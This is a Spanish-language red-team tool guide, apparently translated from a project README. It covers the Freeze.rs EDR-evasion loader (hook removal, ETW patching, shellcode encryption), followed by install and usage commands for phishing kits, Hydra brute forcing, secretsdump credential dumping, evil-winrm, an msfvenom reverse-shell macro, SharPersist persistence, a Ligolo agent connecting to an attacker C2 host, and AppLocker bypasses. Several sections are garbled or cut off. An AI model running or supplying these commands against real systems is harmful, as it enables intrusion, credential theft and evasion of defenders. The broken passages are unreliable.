Cuando se crea un proceso, Ntdll.dll es la primera DLL que se carga; esto ocurre antes de que se cargue cualquier DLL de EDR. Esto significa que hay un pequeño retraso antes de que un EDR pueda cargarse y comenzar a enganchar (hook) y modificar el ensamblado de las DLL del sistema. Al observar las syscalls de Windows en Ntdll.dll, podemos ver que aún no hay nada enganchado. Si creamos un proceso en estado suspendido (uno que está congelado en el tiempo), podemos ver que no se carga ninguna otra DLL, excepto Ntdll.dll. También podemos ver que no hay DLLs de EDR cargadas, lo que significa que las syscalls ubicadas en Ntdll.dll no están modificadas.
**Aleatorización del diseño del espacio de direcciones (ASLR)**
Para usar este proceso suspendido limpio y eliminar los hooks del cargador de Freeze.rs, necesitamos una forma de encontrar y leer mediante programación la memoria del proceso suspendido limpio. Aquí es donde entra en juego la aleatorización del diseño del espacio de direcciones (ASLR). ASLR es un mecanismo de seguridad para prevenir vulnerabilidades basadas en la corrupción de la memoria de pila. ASLR aleatoriza el espacio de direcciones dentro de un proceso, para asegurar que todos los objetos mapeados en memoria, la pila, el heap y el propio programa ejecutable, sean únicos. Ahora, aquí es donde se pone interesante porque, si bien ASLR funciona, no lo hace para el código independiente de posición, como las DLL. Lo que sucede con las DLL (específicamente las DLL de sistema conocidas) es que el espacio de direcciones se aleatoriza una vez al arrancar el sistema. Esto significa que no necesitamos enumerar la información de un proceso remoto para encontrar la dirección base de su ntdll.dll, porque es la misma en todos los procesos, incluido el que controlamos. Dado que la dirección de cada DLL es la misma por arranque, podemos obtener esta información de nuestro propio proceso y nunca tener que enumerar el proceso suspendido para encontrar la dirección.
Con esta información, podemos usar la API ReadProcessMemory para leer la memoria de un proceso. Esta llamada a la API se asocia comúnmente con la lectura de LSASS como parte de cualquier ataque basado en credenciales; sin embargo, por sí sola no es inherentemente maliciosa, especialmente si solo estamos leyendo una sección arbitraria de memoria. La única vez que ReadProcessMemory será marcada como parte de algo sospechoso es si se está leyendo algo que no se debería (como el contenido de LSASS). Los productos EDR nunca deberían marcar el hecho de que se llamó a ReadProcessMemory, ya que existen usos operativos legítimos para esta función y resultaría en muchos falsos positivos.
Podemos ir un paso más allá leyendo solo una sección de Ntdll.dll donde se almacenan todas las syscalls: su sección .text, en lugar de leer toda la DLL.
Combinando estos elementos, podemos obtener mediante programación una copia de la sección .text de Ntdll.dll para sobrescribir nuestra sección .text existente y con hooks antes de ejecutar el shellcode.
**Parcheo de ETW**
ETW utiliza syscalls incorporadas para generar esta telemetría. Dado que ETW también es una característica nativa integrada en Windows, los productos de seguridad no necesitan "hacer hook" de las syscalls de ETW para acceder a la información. Como resultado, para prevenir ETW, Freeze.rs parchea numerosas syscalls de ETW, vaciando los registros y devolviendo el flujo de ejecución a la siguiente instrucción. El parcheo de ETW ahora es predeterminado en todos los cargadores.
**Shellcode**
Con la crate NTAPI de Rust, puedes ver que todas estas llamadas no aparecen en ntdll.dll, sin embargo, todavía existen dentro del proceso.
Como resultado:
**¿Por qué Rust?**
Esto comenzó como un proyecto divertido para aprender Rust y ha crecido hasta convertirse en su propio framework.
**Contribuir**
Freeze.rs fue desarrollado en Rust.
**Instalación**
Si Rust y Rustup no están instalados, por favor instálelos. Si está compilando desde OSX o Linux, asegúrese de tener agregado el objetivo "x86_64-pc-windows-gnu". Para ello, ejecute el siguiente comando:
Una vez hecho, puede compilar Freeze.rs, ejecutar los siguientes comandos o usar el binario compilado:```bash
git clone https://github.com/optiv/Freeze
cd Freeze
rustup target add x86_64-pc-windows-gnu
cargo build --release
Desde allí la versión compilada se encontrará en en target/release (nota si no pones --release el archivo estará en target/debug/ )```bash
___________
_ /_ ____ ____ ________ ____ _______ ______
| ) _ __ _/ __ _/ __ \_ // __ \ _ __ / /
| \ | | /\ /\ / / /\ / | | /_
_ / || _ >_ >___ \___ > /\ |__| /____ >
/ / / / / / /
(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD & Rusty...
USAGE: Freeze-rs [FLAGS] [OPTIONS]
FLAGS: -c, --console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature -h, --help Prints help information -n, --noetw Disables the ETW patching that prevents ETW events from being generated. -s, --sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -V, --version Prints version information
OPTIONS: -E, --Encrypt Encrypts the shellcode using either AES 256, ELZMA or RC4 encryption -I, --Input Path to the raw 64-bit shellcode. -O, --Output Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -p, --process The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' -e, --export Defines a custom export function name for any DLL.
**Binario vs DLL**
Freeze.rs puede generar un archivo .exe o .dll. Para especificarlo, asegúrese de que la opción de línea de comandos -O termine con .exe para binarios o .dll para DLL. Actualmente no se admiten otros tipos de archivo. En el caso de archivos DLL, Freeze.rs también puede añadir funcionalidad de exportación adicional. Para ello, use la opción -export con el nombre de la función de exportación específica.
**Cifrado**
Cifrar el shellcode es una técnica importante utilizada para protegerlo de ser detectado y analizado por EDR y otros productos de seguridad. Freeze.rs incluye múltiples métodos para cifrar shellcode, estos incluyen AES, ELZMA y RC4.
**AES**
AES (Advanced Encryption Standard) es un algoritmo de cifrado simétrico que se utiliza ampliamente para cifrar datos. Freeze.rs utiliza un tamaño de bit AES-256 para cifrar el shellcode. La ventaja de usar AES para cifrar shellcode es que proporciona un cifrado fuerte y es ampliamente compatible con las bibliotecas criptográficas. Sin embargo, el uso de un tamaño de bloque fijo puede hacerlo vulnerable a ciertos ataques, como el ataque de oráculo de relleno.
**ELZMA**
ELZMA es un algoritmo de compresión y cifrado que se utiliza a menudo en malware para ofuscar el código. Para cifrar shellcode usando ELZMA, primero se comprime el shellcode usando el algoritmo ELZMA. Luego, los datos comprimidos se cifran utilizando una clave aleatoria. Los datos cifrados y la clave se incrustan luego en el código del exploit. La ventaja de usar ELZMA para cifrar shellcode es que proporciona tanto compresión como cifrado en un solo algoritmo. Esto puede ayudar a reducir el tamaño del código del exploit y hacerlo más difícil de detectar.
**RC4**
RC4 es un algoritmo de cifrado simétrico que se utiliza a menudo en malware para cifrar shellcode. Es un cifrado de flujo que puede utilizar claves de longitud variable y se conoce por su simplicidad y rapidez.
**Consola**
Freeze.rs utiliza una técnica para crear primero el proceso y luego moverlo al fondo. Esto hace dos cosas: primero, ayuda a mantener el proceso oculto, y segundo, evita ser detectado por cualquier producto EDR. Crear un proceso de inmediato en segundo plano puede ser muy sospechoso y un indicador de malicia. Freeze.rs hace esto llamando a las funciones de Windows 'GetConsoleWindow' y 'ShowWindow' después de que se crea el proceso y se cargan los hooks del EDR, y luego cambia los atributos de la ventana a oculta.
Si se selecciona la opción de línea de comandos -console, Freeze.rs no ocultará el proceso en segundo plano. En su lugar, Freeze.rs añadirá varios mensajes de depuración que muestran lo que está haciendo el cargador.
---
### [🔙](#tool-list)WSH
**Creando payload:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Ejecutar:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**Creando payload:**```html
<html>
<body>
<script>
var c = "cmd.exe";
new ActiveXObject("WScript.Shell").Run(c);
</script>
</body>
</html>
Ejecutar: Ejecutar archivo
Creando payload:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Ejecutar:** Configurar la función para Auto_Open() en documento habilitado para macros
# Acceso Inicial
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
El Bash Bunny es una herramienta de ataque USB física y un sistema de entrega de payloads multifunción. Está diseñado para enchufarse en el puerto USB de una computadora y puede ser programado para realizar una variedad de funciones, incluyendo la manipulación y exfiltración de datos, instalación de malware y evasión de medidas de seguridad.
[hackinglab: Bash Bunny – Guía](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Documentación de Hak5](https://docs.hak5.org/bash-bunny/)
[Repositorio de Payloads](https://github.com/hak5/bashbunny-payloads)
[Página del Producto](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish es un potente framework de phishing de código abierto que facilita probar la exposición de tu organización al phishing. (evilginx2) Framework independiente de ataque man-in-the-middle utilizado para phishing de credenciales de inicio de sesión junto con cookies de sesión, permitiendo la evasión de la autenticación de dos factores
**Instalación:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Uso:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Kit de Ingeniería Social (SET)](https://github.com/IO1337/social-engineering-toolkit)
Este marco es excelente para crear campañas para el acceso inicial, 'SET tiene una serie de vectores de ataque personalizados que te permiten hacer un ataque creíble rápidamente'.
**Instalación:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Uso:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Buena herramienta para ataques de fuerza bruta de inicio de sesión. Puede realizar fuerza bruta en varios servicios, incluidos SSH, FTP, TELNET, HTTP, etc.
**Instalación:**```bash
sudo apt install hydra
Uso:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish es una herramienta de phishing avanzada que utiliza una técnica que combina el flujo de autenticación de código de dispositivo OAuth y códigos QR (consulte [PhishInSuits](https://github.com/secureworks/PhishInSuits) para obtener más información sobre el flujo de código de dispositivo OAuth para ataques de phishing).
Pasos del ataque:
- Enviar código QR malicioso a la víctima
- La víctima escanea el código QR con un dispositivo móvil
- La víctima es dirigida a un servidor controlado por el atacante (iniciando el proceso de flujo de autenticación de código de dispositivo OAuth)
- Se envía un código MFA por correo electrónico a la víctima (iniciando el temporizador de 15 minutos del flujo de código de dispositivo OAuth)
- El atacante consulta la autenticación
- La víctima ingresa el código en el sitio web legítimo de Microsoft
- El atacante guarda el token de autenticación
**Instalación:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Nota: Antes de usar cualquiera de los módulos, actualice la información requerida en el archivo settings.config indicada con Required.
Uso (Módulo de Correo Electrónico):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Uso (Módulo del servidor):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher es una herramienta que permite a los atacantes crear y enviar correos electrónicos de phishing a las víctimas para obtener información sensible.
Incluye funciones como plantillas personalizables, gestión de campañas y capacidades de envío de correos electrónicos, lo que la convierte en una herramienta potente y fácil de usar para llevar a cabo ataques de phishing. Con King Phisher, los atacantes pueden apuntar a individuos u organizaciones con correos electrónicos de phishing convincentes y dirigidos, aumentando las posibilidades de éxito en sus ataques.
Instalación (Linux - Cliente y Servidor):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Uso:**
Una vez que King Phisher haya sido instalado, siga la [página wiki](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started) para configurar SSH, la base de datos, el servidor SMTP, etc.
# Ejecución
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder es una herramienta para envenenar los protocolos LLMNR y NBT-NS en una red, para permitir la captura de credenciales y la ejecución de código arbitrario.
Los protocolos LLMNR (Resolución de Nombres Multicast de Enlace Local) y NBT-NS (Servicio de Nombres NetBIOS) son utilizados por los sistemas Windows para resolver nombres de host a direcciones IP en una red local. Si un nombre de host no puede ser resuelto usando estos protocolos, el sistema transmitirá una solicitud de ese nombre de host a la red local.
Responder escucha estas transmisiones y responde con una dirección IP falsa, engañando al sistema solicitante para que envíe sus credenciales al atacante.
**Instalación:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Uso:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
La información completa de uso se puede encontrar [aquí](https://github.com/SpiderLabs/Responder#usage).
_Imagen utilizada de https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/_
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Una utilidad que es parte de la biblioteca Impacket que se puede usar para extraer hashes de contraseñas y otros secretos de un sistema Windows.
Lo hace interactuando con la base de datos del Administrador de Cuentas de Seguridad (SAM) en el sistema y extrayendo las contraseñas hasheadas y otra información, como:
- Hashes de contraseñas para cuentas locales
- Tickets y claves de Kerberos
- Secretos de LSA
**Instalación:**```bash
python3 -m pip install impacket
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
_Imagen usada de https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy_
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM es una herramienta que proporciona una interfaz de línea de comandos para Windows Remote Management (WinRM: _Un servicio que permite a los administradores ejecutar comandos de forma remota en una máquina Windows_).
Evil-WinRM permite a un atacante conectarse de forma remota a una máquina Windows usando WinRM y ejecutar comandos arbitrarios.
Algunas características incluyen:
- Cargar en memoria scripts de Powershell
- Cargar en memoria archivos dll evadiendo algunos AV
- Cargar payloads x64
- Soporte para Pass-the-hash
- Subir y descargar archivos locales y remotos
**Instalación: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Instalar: (Ruby gem)```bash gem install evil-winrm
Las instrucciones de instalación alternativas se pueden encontrar [aquí](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Uso:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
La documentación completa de uso se puede encontrar aquí.
Imagen tomada de https://korbinian-spielvogel.de/posts/heist-writeup/
Una herramienta para la ejecución en memoria de archivos VBScript, JScript, EXE, DLL y ensamblados dotNET. Se puede utilizar para cargar y ejecutar payloads personalizados en sistemas objetivo sin necesidad de dejar archivos en el disco.
Instalación: (Windows)```bash git clone http://github.com/thewover/donut.git
Para generar la plantilla del cargador, la biblioteca dinámica donut.dll, la biblioteca estática donut.lib y el generador donut.exe. Inicie un Símbolo del sistema para desarrolladores de Microsoft Visual Studio x64, cambie al directorio donde clonó el repositorio de Donut e ingrese lo siguiente:```bash
nmake -f Makefile.msvc
Para hacer lo mismo, excepto usando MinGW-64 en Windows o Linux, cambie al directorio donde clonó el repositorio de Donut e ingrese lo siguiente:```bash make -f Makefile.mingw
**Instalación: (Linux)**```bash
pip3 install donut-shellcode
Uso:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Para obtener información completa de uso, consulte la [página de GitHub](https://github.com/TheWover/donut/#4-usage) de donut.
Vea [una publicación reciente en el blog](https://thewover.github.io/Bear-Claw/) de The Wover para más información.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Una herramienta utilizada para automatizar la ofuscación y generación de documentos de Office, scripts VB, accesos directos y otros formatos para red teaming.
**Instalación: (Binario)**
1. Obtenga el último binario desde [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Descargue el binario en un PC con Microsoft Office genuino instalado.
3. Abra la consola, CD al directorio del binario y ejecute el binario.
**Instalación: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Uso:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Una colección de scripts y módulos de PowerShell que pueden usarse para lograr diversos objetivos de red teaming.
Algunas de las características de PowerSploit:
- Extraer hashes de contraseñas y recuperar contraseñas en texto claro de la memoria
- Escalar privilegios y eludir controles de seguridad
- Ejecutar código arbitrario de PowerShell y evadir restricciones de ejecución
- Realizar reconocimiento y descubrimiento de red
- Generar payloads y ejecutar exploits
**Instalación:** _1. Guardar en la carpeta de módulos de PowerShell_
Primero deberá descargar la [carpeta de PowerSploit](https://github.com/PowerShellMafia/PowerSploit) y guardarla en la carpeta de módulos de PowerShell.
La ruta de la carpeta de módulos de PowerShell se puede encontrar con el siguiente comando:```
$Env:PSModulePath
Instalación: 2. Instalar PowerSploit como un módulo de PowerShell
Luego, deberá instalar el módulo PowerSploit (use el nombre de la carpeta descargada).
Nota: Su política de ejecución de PowerShell podría bloquearlo, para solucionarlo ejecute el siguiente comando.
`Set-ExecutionPolicy Unrestricted```` powershell.exe -ep bypass
Ahora puedes instalar el módulo PowerSploit.```
Import-Module PowerSploit
Uso:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Una herramienta que se puede utilizar para realizar diversas acciones relacionadas con entornos de Microsoft Active Directory (AD), como volcar hashes de contraseñas, crear/eliminar usuarios y modificar propiedades de usuarios.
Algunas de las funcionalidades de Rubeus:
- Kerberoasting
- Ataques de golden ticket
- Ataques de silver ticket
**Instalación: (Descargar)**
Puede instalar el binario no oficial precompilado de Rubeus [aquí](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe).
**Instalación: (Compilar)**
Rubeus es compatible con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra el [proyecto .sln](https://github.com/GhostPack/Rubeus) de rubeus, elija "Release" y compile.
**Uso:**```
Rubeus.exe -h
Una buena herramienta para verificar un endpoint de víctimas en busca de vulnerabilidades relacionadas con procesos de alta integridad, grupos, rutas secuestrables, etc.
Instalación: (Descarga)
Puedes instalar el binario SharpUp precompilado no oficial aquí.
Instalación: (Compilar)
SharpUp es compatible con Visual Studio 2015 Community Edition. Abre el proyecto .sln de SharpUp, elige "Release" y compila.
Uso:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) es un sistema de gestión de bases de datos relacional desarrollado y comercializado por Microsoft.
Este kit de herramientas C# para MS-SQL está diseñado para reconocimiento ofensivo y post-explotación. Para obtener información detallada sobre el uso de cada técnica, consulte la [wiki](https://github.com/skahwah/SQLRecon/wiki).
**Instalación: (Binario)**
Puede descargar la última versión binaria desde [aquí](https://github.com/skahwah/SQLRecon/releases).
**Uso:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
La información de uso completo se puede encontrar en la wiki.
La información sobre el uso del módulo de la herramienta se puede encontrar aquí.
Imagen utilizada de la página de ayuda de SQLRecon
Este recurso es una colección de las técnicas más comunes y conocidas para eludir AppLocker.
Dado que AppLocker se puede configurar de diferentes maneras, @api0cradle mantiene una lista verificada de bypasses (que funcionan contra las reglas predeterminadas de AppLocker) y una lista con posibles técnicas de bypass (según la configuración) o que alguien afirma que son un bypass.
También tienen una lista de técnicas de bypass genéricas, así como una lista heredada de métodos para ejecutar a través de DLLs.
Listas indexadas
Imagen utilizada de https://github.com/api0cradle/UltimateAppLockerByPassList
Un lanzador de Empire basado en JavaScript y VBScript, que se ejecuta dentro de su propio host de PowerShell integrado.
Ambos lanzadores se ejecutan dentro de su propio host de PowerShell integrado, por lo que no necesitamos PowerShell.exe.
Esto puede ser útil cuando una empresa bloquea PowerShell.exe y/o utiliza una solución de listas blancas de aplicaciones, pero no bloquea la ejecución de archivos JS/VBS.
Uso:
Para la versión de JavaScript, usa la siguiente variable:```javascript var EncodedPayload = "";
Para la versión VBScript use la siguiente variable:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Imagen usada de https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
El objetivo de este proyecto es generar archivos .html que contengan un archivo HTA cifrado.
La idea es que cuando su objetivo visite la página, la clave se obtiene y el HTA se descifra dinámicamente dentro del navegador y se envía directamente al usuario.
Esta es una técnica de evasión para sortear la inspección de contenido/tipo de archivo implementada por algunos dispositivos de seguridad.
Más información técnica aquí.
Instalación:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Uso:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Imagen utilizada de https://github.com/nccgroup/demiguise
Impacket proporciona un conjunto de enlaces de Python de bajo nivel para varios protocolos de red, incluyendo SMB, Kerberos y LDAP, así como bibliotecas de alto nivel para interactuar con servicios de red y realizar tareas específicas como volcar hashes de contraseñas y crear recursos compartidos de red.
También incluye una serie de herramientas de línea de comandos que pueden usarse para realizar diversas tareas como volcar bases de datos SAM, enumerar confianzas de dominio y descifrar contraseñas de Windows.
Instalación:```bash python3 -m pip install impacket
**Instalación: (Con scripts de ejemplo)**
Descarga y extrae [el paquete](https://github.com/fortra/impacket), luego navega a la carpeta de instalación y ejecuta...```bash
python3 -m pip install .
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Gran [cheat sheet](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) para el uso de Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire es un framework de post-explotación que permite generar payloads para establecer conexiones remotas con sistemas víctima.
Una vez que un payload se ha ejecutado en un sistema víctima, establece una conexión de vuelta al servidor Empire, que luego se puede usar para enviar comandos y controlar el sistema objetivo.
Empire también incluye una serie de módulos y scripts integrados que se pueden usar para realizar tareas específicas, como volcar hashes de contraseñas, acceder al registro de Windows y extraer datos.
**Instalación:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Uso:```bash
./empire
list agents
list listeners
Uso útil [chuleta](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) por [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Un conjunto de herramientas de persistencia para Windows escrito en C#.
El proyecto tiene una [wiki](https://github.com/mandiant/SharPersist/wiki).
**Instalación: (Binario)**
Puede encontrar la versión más reciente [aquí](https://github.com/mandiant/SharPersist/releases).
**Instalación: (Compilar)**
- Descargue los archivos del proyecto desde el [Repositorio de GitHub](https://github.com/mandiant/SharPersist).
- Cargue el proyecto de Visual Studio y vaya a "Herramientas" --> "Administrador de paquetes NuGet" --> "Configuración del Administrador de paquetes"
- Vaya a "Administrador de paquetes NuGet" --> "Orígenes de paquetes"
- Agregue un origen de paquete con la URL "https://api.nuget.org/v3/index.json"
- Instale el paquete NuGet Costura.Fody. Se necesita la versión anterior de Costura.Fody (3.3.3) para no requerir Visual Studio 2019.
- `Install-Package Costura.Fody -Version 3.3.3`
- Instale el paquete TaskScheduler
- `Install-Package TaskScheduler -Version 2.8.11`
- ¡Ahora puede compilar el proyecto usted mismo!
**Uso:**
Se puede encontrar una lista completa de ejemplos de uso [aquí](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng es una herramienta simple, ligera y rápida que permite a los pentesters establecer túneles desde una conexión TCP/TLS inversa utilizando una interfaz tun (sin necesidad de SOCKS).
En lugar de usar un proxy SOCKS o reenviadores TCP/UDP, Ligolo-ng crea una pila de red en espacio de usuario utilizando Gvisor.
Al ejecutar el servidor relay/proxy, se utiliza una interfaz tun; los paquetes enviados a esta interfaz se traducen y luego se transmiten a la red remota del agente.
Instalación: (Descargar)
Los binarios precompilados (Windows/Linux/macOS) están disponibles en la página de lanzamiento.
Instalación: (Compilar)
Compilando ligolo-ng (se requiere Go >= 1.17):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Configuración: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Configuración: (Windows)
Necesitas descargar el controlador Wintun (usado por WireGuard) y colocar el archivo wintun.dll en la misma carpeta que Ligolo (asegúrate de usar la arquitectura correcta).
Configuración: (Servidor proxy)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Uso:**
_Inicia el agente en tu computadora objetivo (víctima) (¡no se requieren privilegios!):_```bash
./agent -connect attacker_c2_server.com:11601
Una sesión debería aparecer en el servidor proxy.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use el comando session para seleccionar el agente.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
La información completa de uso se puede encontrar aquí.
Imagen usada de https://github.com/nicocha30/ligolo-ng#demo
LinPEAS es una herramienta de escalada de privilegios muy detallada para encontrar rutas locales de privesc en endpoints Linux.
Instalación + Uso:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS es una buena herramienta de escalada de privilegios verbosa para encontrar rutas de escalada local en endpoints de Windows.
**Instalación + Uso:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration es otra buena herramienta de escalada de privilegios para Linux, menos verbosa.
Instalación + Uso:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
Certify es una herramienta en C# para enumerar y abusar de configuraciones incorrectas en los Servicios de Certificado de Active Directory (AD CS).
Certify está diseñada para ser utilizada junto con otras herramientas y técnicas de equipo rojo, como Mimikatz y PowerShell, para permitir a los miembros del equipo rojo realizar varios tipos de ataques, incluidos ataques de intermediario, ataques de suplantación y ataques de escalada de privilegios.
**Características principales de Certify:**
- Creación de certificados
- Firma de certificados
- Importación de certificados
- Modificación de confianza de certificados
**Instalación: (Compilar)**
Certify es compatible con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra el proyecto Certify [.sln](https://github.com/GhostPack/Certify), seleccione "Release" y compile.
**Instalación: (Ejecutar Certify a través de PowerShell)**
Si desea ejecutar Certify en memoria a través de un envoltorio de PowerShell, primero compile Certify y codifique en base64 el ensamblado resultante:```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify puede cargarse entonces en un script de PowerShell con lo siguiente (donde "aa..." se reemplaza con la cadena de ensamblaje de Certify codificada en base64):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
El método Main() y cualquier argumento pueden ser invocados de la siguiente manera:```
